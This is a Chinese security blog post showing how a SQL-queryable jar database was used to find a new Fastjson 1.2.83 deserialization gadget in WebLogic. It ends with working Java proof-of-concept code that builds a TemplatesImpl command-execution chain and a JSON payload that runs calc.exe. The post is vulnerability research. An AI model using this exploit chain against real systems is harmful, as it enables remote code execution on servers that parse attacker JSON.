长亭百川云 - 文章详情

记一次 Fastjson Gadget 寻找

Y4Sec Team

47

2024-07-13

0x01 起因

很早以前写了一个 Jar Analyzer GUI 工具,用于分析任意 Jar 包的内容。不过不包括反混淆等高级内容,只是简单的方法调用搜索,字符串搜索等功能。大概界面和功能如下:

这个 GUI 工具从设计上是存在很大问题的,一开始并没有想做太多太复杂的功能,所以将所有的数据信息都放在很多个大 HashMap 中,用户输入 Jar 包后信息保存到内存,输入过大的 Jar 会导致内存问题。且运行时间过慢,每一次新的分析和查询需要重复遍历几乎所有的 HashMap 结构

于是我想办法写了一个 Jar-Analyzer-Cli 工具,命令行版本,一行命令根据批量输入的 Jar 构造出数据库,然后用户自行编写 SQL 语句搜索。目前数据库表的设计糟糕,时间有限能用就行

工具写好后,需要找一个实战场景,验证工具的作用。如果一个工具写出来没有用处,那这不是合格的工具

于是我打算尝试寻找一个 Fastjson 没有拉入黑名单的 Gadget 类,在 Fastjson 1.2.83 开启 AutoType 的情况下绕过已有的黑名单即可

0x02 目标选择

网上已经有项目,公开了 Fastjson 目前的黑名单

https://github.com/LeadroyaL/fastjson-blacklist

简单分析后,发现几乎所有常见的类都被拉黑了,例如

- java.rmi com.sun jdk.internal. javax 下很多包名

- org.apache 下众多项目

不过我发现 Fastjson 拉黑的主要是开源项目,并没有拉黑一些闭源项目。于是我想到了 Oracle WebLogic Server (以下简称 Weblogic)

对于 WebLogic 来说,想要分析其中的 Gadget 是比较麻烦的,需要自行反编译到 Java 代码,然后人工或者半自动方式进行搜索。而 Weblogic 并不像 SpringBoot FatJar 那样一个 Jar 解决问题,在 wlserver 目录的modules 中有着 400 多个 Jar 包

经过思考,这个场景正好适合 Jar-Analyzer-Cli 工具

(1)Jar 巨大且数量极多,人工处理很麻烦

(2)Fastjson 的 Gadget 是有规律的,可以通过某些语句搜索

0x03 构建数据库

编译一个 Jar-Analyzer-Cli 工具,使用 java -jar 启动即可

输入命令如下:(--jar 可以传入一个 jar 或是一个 jar 目录)

java -jar jar-analyzer-cli-0.0.4.jar build --jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules

运行比较耗时,需要大约 5 分钟左右

运行后,当前目录会出现一个 jar-analyzer.db 文件,这是一个普通的 sqlite 数据库,通过 Jetbrains 自带的 Database 等工具可以直接连接

数据库的表主要有:

anno_table: 注解表,记录每个class有什么注解信息

class_file_table: class文件位置表,每个calss保存在临时文件

class_table: 类信息表,一个类的基本信息

interface_table: 接口表,一个接口的基本信息

jar_table: jar文件表,输入所有的jar信息保存在这里

member_table: 类成员变量表,例如有哪些字段

method_call_table: 方法调用表,显而易见

method_impl_table: 方法实现表,显而易见

method_table: 方法信息表,一个方法的基本信息

这里我对于表的设计很糟糕,很多表里有重复的信息,本意是为了避免查询时候跨表连接,但实际上很多查询还是离不开跨表(见后文)

0x04 分析

构建好了数据库,接下来是分析 Gadget

先给出一个基本的 SQL 语句,用于查询所有类的 getter 方法

`SELECT DISTINCT mct.caller_method_name, mct.caller_class_name``FROM method_call_table mct``WHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'`

查询方法调用表,查出来方法名和类目即可,要求调用者方法名称符合正则表达式 ^get[A-Z][a-zA-Z0-9]*$ (以 get 开头且 get 之后第一个字符是大写符合驼峰后续字符不做限制)

搜索结果如下,应该是找到了约 50万 个方法(相比一共 91万 个方法已经过滤了很多内容,接下来是一步一步地过滤)

这里获得的 getter 是真正的 getter 吗?并不是,因为 getter 的要求是方法不应该有参数,且方法应该是 public 修饰的。这个限制是比较麻烦的问题,方法调用表里不存在具体的 access 信息,按照我的表设计,这里是需要 JOIN 其他表处理

于是写出了以下这样的 SQL 语句,通过 COUNT 语句可以确认数量少了一半左右,过滤了大部分误报问题。这段 SQL 语句的含义也很简单,INNER JOIN 到 method table 主要是找到当前 caller method 的 access 信息确保和 1 按位与得到结果是 1 (1表示public)进一步过滤后约有 20 万条数据,还是有一些巨大

`SELECT DISTINCT mct.caller_method_name, mct.caller_class_name``FROM method_call_table mct``INNER JOIN method_table mt ON mct.caller_class_name = mt.class_name``AND mct.caller_method_name = mt.method_name``WHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'``AND mct.caller_method_desc LIKE '%()%'``AND mt.access & 1 = 1`

过滤 public 是因为一开始的测试中我忽略这里之后,出现了很多 protected private 格式的 getter 但是无法利用

由于我们已知 Fastjson 的黑名单包括了 Apache 部分组件以及 com.sun 等包,所以这里可以对 class name 做进一步的过滤:

仅允许 weblogc/* 和 com/bea/* 两种(通过 LIKE 语句)

`SELECT DISTINCT mct.caller_method_name, mct.caller_class_name``FROM method_call_table mct``INNER JOIN method_table mt ON mct.caller_class_name = mt.class_name``AND mct.caller_method_name = mt.method_name``WHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'``AND mct.caller_method_desc LIKE '%()%'``AND mt.access & 1 = 1``AND (`    `mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%'``)`

搜索到的结果如下,已经是我们需要的类了

(虽然加入了层层过滤,但是这里也有一共 11万 条数据)

现在拿到了 getter 方法,需要考虑我们要找的 callee 方法调用目标是什么。暂时只考虑第一层目标

一层 getA -> context.lookup 或 runtime.exec 等操作

多层 getA -> methodB -> methodC -> ... -> context.lookup等

跨多个方法的调用是否可以用 SQL 做呢?留个悬念

0x05 进阶分析

回到主题,接下来需要确认 callee 方法有哪些(或大家说的 sink) 

(1)Context lookup 触发 JNDI (最常见)

(2)Runtime exec / ProcessBuilder 等 (感觉不常见)

(3)ObjectInputStream readObject

(4)defineClass 等操作,这里就不考虑了

(5)各种文件相关操作,这里就不考虑了

来写一个 Context lookup 的 SQL 语句吧,在上文的 SQL 语句基础上,加了两个新条件 callee class name 和 callee method name

`SELECT DISTINCT mct.caller_method_name, mct.caller_class_name``FROM method_call_table mct``INNER JOIN method_table mt ON mct.caller_class_name = mt.class_name``AND mct.caller_method_name = mt.method_name``WHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'``AND mct.caller_method_desc LIKE '%()%'``AND mt.access & 1 = 1``AND (`    `mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%'``)``AND mct.callee_class_name = 'javax/naming/Context'``AND mct.callee_method_name = 'lookup'`

终于,我们成功拿到了可以人工分析的数据:仅11条

接着人工分析,从 getEJBLocalHome 来看 Field 和 getter 名称不是真正匹配,且要求参数是 Name 类型,该类型无法通过其他思路构造,因为 Fastjson 已经拉黑了 javax/naming 下的类

再例如 getDomainName 等地方,实际上 lookup 内容是不可控的

这条路堵死,或者至少第一层调用这里没有办法

准备下一个规则:Runtime exec (仅修改 callee 条件即可)

`SELECT DISTINCT mct.caller_method_name, mct.caller_class_name``FROM method_call_table mct``INNER JOIN method_table mt ON mct.caller_class_name = mt.class_name``AND mct.caller_method_name = mt.method_name``WHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'``AND mct.caller_method_desc LIKE '%()%'``AND mt.access & 1 = 1``AND (`    `mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%'``)``AND mct.callee_class_name = 'java/lang/Runtime'``AND mct.callee_method_name = 'exec'`

找到一处:JavaExec

看起来确实可以,但是目标类不存在 process 属性(这是一个符合 getter 规范的方法,但实际上不是 getter 方法,所以感觉应该有一个字段表,再连接过来确认某个属性是否存在,需要更复杂的 SQL)

对于 ProcessBuilder 和 readObject 方法,搜不到对应的 getter

0x06 多层分析

现在直接的分析已经确定是找不到我们希望的目标了,被迫只能使用更复杂的 SQL 语句来做两层调用

getX -> methodA -> context.lookup / ois.readObject

这样的 SQL 语句写起来会有一些难度,大致的思路是这样:先 SELECT 拿到所有调用 ctx.lookup 方法的 caller 信息,然后这个 caller 作为 callee 查询方法调用表里所有的新 caller 信息。这个新 caller 信息如果匹配到了 getter 方法规范,且它属于 weblogic 或 com/bea 下的类,那么把这个 getter 方法和它的类名查出来

这里老 caller 作为新 caller 的 callee 可能大家无法理解:

(1)a 方法调用了 readObject 方法

此时 a 方法是 caller callee 是 readObject,a 是 老 caller

(2)b 方法调用了 a 方法

此时新 caller 是 b 方法,老 caller a 其实是此时的 callee 方法

`SELECT mct.caller_method_name, mct.caller_class_name``FROM method_call_table mct`         `INNER JOIN (`    `SELECT DISTINCT caller_class_name, caller_method_name`    `FROM method_call_table mct1`    `WHERE mct1.callee_class_name = 'javax/naming/Context'`      `AND mct1.callee_method_name = 'lookup'``) AS callee_info ON mct.callee_class_name = callee_info.caller_class_name`    `AND mct.callee_method_name = callee_info.caller_method_name``WHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'`  `AND mct.caller_method_desc LIKE '%()%'`  `AND (`            `mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%'`    `)`

搜到约 30 条结果,看到其中有 RowSet 字符,凭借对 Fastjson 的了解,感觉这里大概率会有问题

来看一下 weblogic/jdbc/rowset/JdbcRowSetImpl 类吧

有戏,初步编写 PoC 测试 Fastjson 1.2.83 竟然是黑名单

我继续人工分析了几个筛选出来的类,发现由于各种各样的原因,无法作为 Fastjson 的 Gadget 类

下一步搜索 readObject 方法,思路还是一样,先 SELECT 出 readObject 的所有 caller 方法,作为 callee 再查 caller 并过滤 getter

`SELECT mct.caller_method_name, mct.caller_class_name``FROM method_call_table mct`         `INNER JOIN (`    `SELECT DISTINCT caller_class_name, caller_method_name`    `FROM method_call_table mct1`    `WHERE mct1.callee_class_name = 'java/io/ObjectInputStream'`      `AND mct1.callee_method_name = 'readObject'``) AS callee_info ON mct.callee_class_name = callee_info.caller_class_name`    `AND mct.callee_method_name = callee_info.caller_method_name``WHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'`  `AND mct.caller_method_desc LIKE '%()%'`  `AND (`            `mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%'`    `)`

结果有 10 条左右

其中的一个 getObj 方法一眼看去有操作

weblogic.wsee.reliability2.saf.SequenceSAFMap$ExternalizableWrapper 内部类的 getObj 方法

代码如上图,分析发现 getObj 调用了 getObjFromBytes 方法,在该方法中存在 readObject 原生反序列化

0x07 复现新 Gadget

我们成功从50万以上的方法中,一步一步筛选为 11 万,最终找到 10 条可能的数据,结合人工分析后,发现了一处反序列化的 Gadget

遗憾的是,这里的 _bytes 属性是私有的,需要借助 Fastjson 的 Feature.SupportNonPublicField 属性才可以设置

至于反序列化打哪一条链子,这不是问题:

我们可以使用 Fastjson 1.2.83 自己打自己 (Y4tacker师傅博客)

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

构造 Fastjson 1.2.83 对应的原生 Gadget 代码

  `public static byte[] genPayload(String cmd) throws Exception {`      `ClassPool pool = ClassPool.getDefault();`      `CtClass clazz = pool.makeClass("a");`      `CtClass superClass = pool.get(AbstractTranslet.class.getName());`      `clazz.setSuperclass(superClass);`      `CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);`      `constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");`      `clazz.addConstructor(constructor);`      `clazz.getClassFile().setMajorVersion(49);`      `return clazz.toBytecode();`  `}``   `  `public static byte[] getPayload(String cmd) throws Exception{`      `TemplatesImpl templates = TemplatesImpl.class.newInstance();`      `setValue(templates, "_bytecodes", new byte[][]{genPayload(cmd)});`      `setValue(templates, "_name", "1");`      `setValue(templates, "_tfactory", null);``   `      `JSONArray jsonArray = new JSONArray();`      `jsonArray.add(templates);``   `      `BadAttributeValueExpException bd = new BadAttributeValueExpException(null);`      `setValue(bd, "val", jsonArray);``   `      `HashMap hashMap = new HashMap();`      `hashMap.put(templates, bd);`      `ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();`      `ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);`      `objectOutputStream.writeObject(hashMap);`      `objectOutputStream.close();``   `      `return byteArrayOutputStream.toByteArray();`  `}`

构造 Fastjson 的 Payload

(Fastjson的特性,字节数组传参需要设置为Base64格式)

  `public static void main(String[] args)throws Exception {`      `byte[] serBytes = Y4HackJSON.getPayload("calc.exe");`      `String ser = Base64.getEncoder().encodeToString(serBytes);`      `String json = "{{\"@type\":\"weblogic.wsee.reliability2.saf.SequenceSAFMap$ExternalizableWrapper\"," +`              `"\"_bytes\":\"" + ser + "\"}:\"a\"}";`      `Object obj = JSONObject.parse(json,`              `Feature.SupportAutoType,`              `Feature.SupportNonPublicField`      `);`      `System.out.println(obj);`  `}`

由于 weblogic 的 jar 众多,全部导入不是很好的做法,经过我的分析发现,这里测试只导入两个 jar 即可复现反序列化

com.oracle.weblogic.jms.jar

com.oracle.webservices.wls.jaxws-wlswss-client.jar

运行后成功弹出计算器

(看到调用栈里包含了 getObj -> getObjFromBytes)

0x08 总结

这篇文章讲了一次 Fastjson Gadget 寻找的过程

(1)从 weblogic 一共 400 多个 Jar 中构建数据库

(2)分析得到数百万个方法以及50万条可能的链

(3)一步一步缩小,从50万到20万再到10万条数据

(4)getter 直接调用搜索,发现不存在可利用点

(5)尝试构造复杂的 SQL 语句进行二层调用搜索

(6)最终从50万筛选到数十条数据,结合人工分析找到可利用的点

但是,这篇文章没有实战价值,因为:

(1)WebLogic 真正的运行环境是否包含了这个依赖

(2)WebLogic 全局反序列化黑名单可能使用 TemplatesImpl

(3)开 AutuType 已经够罕见了,更何况 SupportNonPublicField 属性,整个 Github 也搜不到几处同时开启这两个属性的例子

通过这次尝试,我编写 SQL 语句的能力有了一些提高,也发现 SQL 语句的强大,可以做到很多一开始想不到的事情

中间我忽略了很多,比如人工审最终过滤的几十条只是凭感觉在做,而不是每一个类都细看;比如最终 callee 方法(或者说 sink 点)只选择了最常见的几种,可能还有文件操作或者其他姿势的RCE;比如我只分析了 Oracle WebLogic Server 但是还有很多很多组件目前没有在黑名单中看到(JBoss WebSphpere ColdFusion等)

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2